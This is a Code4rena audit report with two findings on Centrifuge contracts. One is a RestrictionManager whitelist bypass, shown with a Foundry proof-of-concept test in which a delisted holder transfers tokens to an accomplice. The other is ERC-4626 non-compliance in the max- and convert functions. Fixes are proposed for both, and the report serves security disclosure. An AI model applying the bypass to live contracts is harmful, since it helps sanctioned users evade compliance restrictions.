Centrifuge - degensec's results

Lines of code

https://github.com/code-423n4/2023-09-centrifuge/blob/main/src/token/Tranche.sol#L59-L61 https://github.com/code-423n4/2023-09-centrifuge/blob/main/src/token/Tranche.sol#L35-L39 https://github.com/code-423n4/2023-09-centrifuge/blob/main/src/token/RestrictionManager.sol#L28-L34

Vulnerability details

Impact

Each TrancheToken maintains a RestrictionManager which acts as an address whitelist. Addresses must be explicitly added to the RestrictionManager to be able to receive tranche tokens.

If a user is transfer-restricted while holding tokens (due to sanctions, for example), they can no longer redeem their tokens because of the restriction. However, they can trivially circumvent the restriction by transferring tokens to a non-restricted accomplice, who can redeem the tokens for them.

The culprit is the implementation in RestrictionManager:

    function detectTransferRestriction(address from, address to, uint256 value) public view returns (uint8) {
        if (!hasMember(to)) {
            return DESTINATION_NOT_A_MEMBER_RESTRICTION_CODE;
        }

        return SUCCESS_CODE;
    }

Only the destination of a transfer is checked for restrictions. Thus a transfer initiated by a restricted user with a call to the token's transfer() method will pass if the destination is not restricted.

Proof of Concept

The following foundry test demonstrates this vulnerability:

• Paste the code in a new file TestPoC.t.sol under test/
• Run the test with forge test --mt test_poc -vvvv

// File: test/TestPoC.t.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.21;

import {Root} from "../src/Root.sol";
import {Escrow} from "../src/Escrow.sol";
import {Gateway} from "../src/gateway/Gateway.sol";
import {PoolManager} from "../src/PoolManager.sol";
import {TrancheToken} from "../src/token/Tranche.sol";
import {RestrictionManager} from "../src/token/RestrictionManager.sol";
import {TrancheTokenFactory, LiquidityPoolFactory} from "../src/util/Factory.sol";

import "forge-std/Test.sol";
import "forge-std/console.sol";

contract DummyRouter {
    event MessageSent(bytes message);

    function send(bytes calldata message) public {
        emit MessageSent(message);
    }
}

contract TestPoC is Test {
    address constant alice = address(0xaaaa);
    address constant bob = address(0xbbbb);

    function test_poc() public {
        // Setup system
        Escrow escrow = new Escrow();
        Root root = new Root(address(escrow), 1);

        LiquidityPoolFactory lpFactory = new LiquidityPoolFactory(address(root));
        TrancheTokenFactory ttFactory = new TrancheTokenFactory(address(root));

        PoolManager poolManager = new PoolManager(
            address(escrow),
            address(lpFactory),
            address(ttFactory)
        );

        lpFactory.rely(address(poolManager));
        ttFactory.rely(address(poolManager));

        DummyRouter router = new DummyRouter();

        Gateway gateway = new Gateway(
            address(root),
            address(1),
            address(poolManager),
            address(router)
        );

        poolManager.file("gateway", address(gateway));

        // Deploy tranche 
        vm.startPrank(address(gateway));
        poolManager.addPool(1);
        poolManager.addTranche(1, "tranche", "", "", 18);
        TrancheToken token = TrancheToken(poolManager.deployTranche(1, "tranche"));
        RestrictionManager restrictionManager = RestrictionManager(address(token.restrictionManager()));

        // Add alice and bob to member list
        vm.startPrank(address(root));
        restrictionManager.updateMember(alice, type(uint256).max);
        restrictionManager.updateMember(bob, type(uint256).max);

        // Alice obtains some tranche tokens
        token.mint(alice, 100e18);

        // Now alice is removed from the member list
        restrictionManager.updateMember(alice, block.timestamp);

        vm.stopPrank();
        skip(1);

        // Verify alice is not a member
        assertFalse(restrictionManager.hasMember(alice));
   
        // Alice circumvents restriction
        vm.startPrank(alice);
        token.transfer(address(bob), 100e18);

        // Verify tokens have been sent
        assertEq(token.balanceOf(alice), 0);
        assertEq(token.balanceOf(bob), 100e18);
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

In RestrictionManager define another restriction code and message:

    uint8 public constant ORIGIN_NOT_A_MEMBER_RESTRICTION_CODE = 2;
    string public constant ORIGIN_NOT_A_MEMBER_RESTRICTION_MESSAGE = "RestrictionManager/origin-not-a-member";

Change the implementation of detectTransferRestriction to:

function detectTransferRestriction(address from, address to, uint256 value) public view returns (uint8) {
        if (!hasMember(to)) {
            return DESTINATION_NOT_A_MEMBER_RESTRICTION_CODE;
        }
        if (!hasMember(from)) {
            return ORIGIN_NOT_A_MEMBER_RESTRICTION_CODE;
        }

        return SUCCESS_CODE;
    }

Change the implementation of messageForTransferRestriction() to:

    function messageForTransferRestriction(uint8 restrictionCode) public view returns (string memory) {
        if (restrictionCode == DESTINATION_NOT_A_MEMBER_RESTRICTION_CODE) {
            return DESTINATION_NOT_A_MEMBER_RESTRICTION_MESSAGE;
        }

        if (restrictionCode == ORIGIN_NOT_A_MEMBER_RESTRICTION_CODE) {
            return ORIGIN_NOT_A_MEMBER_RESTRICTION_MESSAGE;
        }

        return SUCCESS_MESSAGE;
    }

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-09-centrifuge/blob/main/src/LiquidityPool.sol#L129-L132 https://github.com/code-423n4/2023-09-centrifuge/blob/main/src/LiquidityPool.sol#L154-L157 https://github.com/code-423n4/2023-09-centrifuge/blob/main/src/LiquidityPool.sol#L164-L167 https://github.com/code-423n4/2023-09-centrifuge/blob/main/src/LiquidityPool.sol#L186-L189 https://github.com/code-423n4/2023-09-centrifuge/blob/main/src/InvestmentManager.sol#L349-L367 https://github.com/code-423n4/2023-09-centrifuge/blob/main/src/InvestmentManager.sol#L323-L347

Vulnerability details

Impact

The implementations of maxDeposit, maxMint, maxWithdraw, maxRedeem do not take into account additional limits and revert conditions that are present in the corresponding action functions. Therefore the max- functions may overestimate the amount in some cases. This breaks the on-chain composability of ERC4626 vaults.

maxDeposit

According to the ERC-4626 specification,

maxDeposit MUST return the maximum amount of assets deposit would allow to be deposited for receiver and not cause a revert.

maxDeposit always returns orderbook[user][liquidityPool].maxDeposit.

// File: LiquidityPool.sol
function maxDeposit(address receiver) public view returns (uint256) {
    return investmentManager.maxDeposit(receiver, address(this));
}

// File: InvestmentManager.sol
function maxDeposit(address user, address liquidityPool) public view returns (uint256 currencyAmount) {
    currencyAmount = uint256(orderbook[user][liquidityPool].maxDeposit);
}

However, the implementation of the deposit flow in InvestmentManager.processDeposit has additional revert conditions:

// File: InvestmentManager.sol
    function processDeposit(address user, uint256 currencyAmount) public auth returns (uint256 trancheTokenAmount) {
        address liquidityPool = msg.sender;
        uint128 _currencyAmount = _toUint128(currencyAmount);
        require(
            (_currencyAmount <= orderbook[user][liquidityPool].maxDeposit && _currencyAmount != 0),
            "InvestmentManager/amount-exceeds-deposit-limits"
        );

        uint256 depositPrice = calculateDepositPrice(user, liquidityPool);
        require(depositPrice != 0, "LiquidityPool/deposit-token-price-0");

        uint128 _trancheTokenAmount = _calculateTrancheTokenAmount(_currencyAmount, liquidityPool, depositPrice);
        _deposit(_trancheTokenAmount, _currencyAmount, liquidityPool, user);
        trancheTokenAmount = uint256(_trancheTokenAmount);
    }

    function _deposit(uint128 trancheTokenAmount, uint128 currencyAmount, address liquidityPool, address user)
        internal
    {
        LiquidityPoolLike lPool = LiquidityPoolLike(liquidityPool);

        _decreaseDepositLimits(user, liquidityPool, currencyAmount, trancheTokenAmount); // decrease the possible deposit limits
        require(lPool.checkTransferRestriction(msg.sender, user, 0), "InvestmentManager/trancheTokens-not-a-member");
        require(
            lPool.transferFrom(address(escrow), user, trancheTokenAmount),
            "InvestmentManager/trancheTokens-transfer-failed"
        );

        emit DepositProcessed(liquidityPool, user, currencyAmount);
    }

maxDeposit must return 0 in the cases where executing the deposit would revert with "LiquidityPool/deposit-token-price-0" or "InvestmentManager/trancheTokens-not-a-member".

maxMint, maxWithdraw, maxRedeem

The analysis of maxDeposit applies analogously to maxMint, maxWithdraw and maxRedeem:

• InvestmentManager.processMint has the following revert conditions not handled by maxMint: "LiquidityPool/deposit-token-price-0", "InvestmentManager/trancheTokens-not-a-member".
• InvestmentManager.processWithdraw has the following revert conditions not handled by maxWithdraw: "LiquidityPool/redeem-token-price-0".
• InvestmentManager.processRedeem has the following revert conditions not handled by maxRedeem: "LiquidityPool/redeem-token-price-0".

Additional sources of non-compliance

withdraw MUST support a withdraw flow where the shares are burned from owner directly where msg.sender has EIP-20 approval over the shares of owner. redeem MUST support a redeem flow where the shares are burned from owner directly where msg.sender has EIP-20 approval over the shares of owner.

Due to the fact that the system handles withdraw/redeem action by syndicating them and executing them by a trusted party, these approval flows are not implemented.

convertToShares MUST NOT show any variations depending on the caller. convertToShares MUST NOT revert unless due to integer overflow caused by an unreasonably large input. convertToAssets MUST NOT show any variations depending on the caller. convertToAssets MUST NOT revert unless due to integer overflow caused by an unreasonably large input.

The corresponding functions in InvestmentManager have the auth modifier, meaning that they will revert if LiquidityPool is not a ward of InvestmentManager. This should not be the case if the system is configured correctly, however there is still a theoretical case of non-compliance.

    function convertToShares(uint256 _assets, address liquidityPool) public view auth returns (uint256 shares)
    function convertToAssets(uint256 _shares, address liquidityPool) public view auth returns (uint256 assets)

Tools Used

Manual Review

Recommended Mitigation Steps

The requirements by ERC4626 are there to make vaults composable by default.

The Vault interface is designed to be optimized for integrators with a feature complete yet minimal interface. Details such as accounting and allocation of deposited tokens are intentionally not specified, as Vaults are expected to be treated as black boxes on-chain and inspected off-chain before use.

• Return 0 in the max-function if the additional revert conditions in the process-functions.
• Remove the auth modifier from convertToShares and convertToAssets.

Assessed type

ERC4626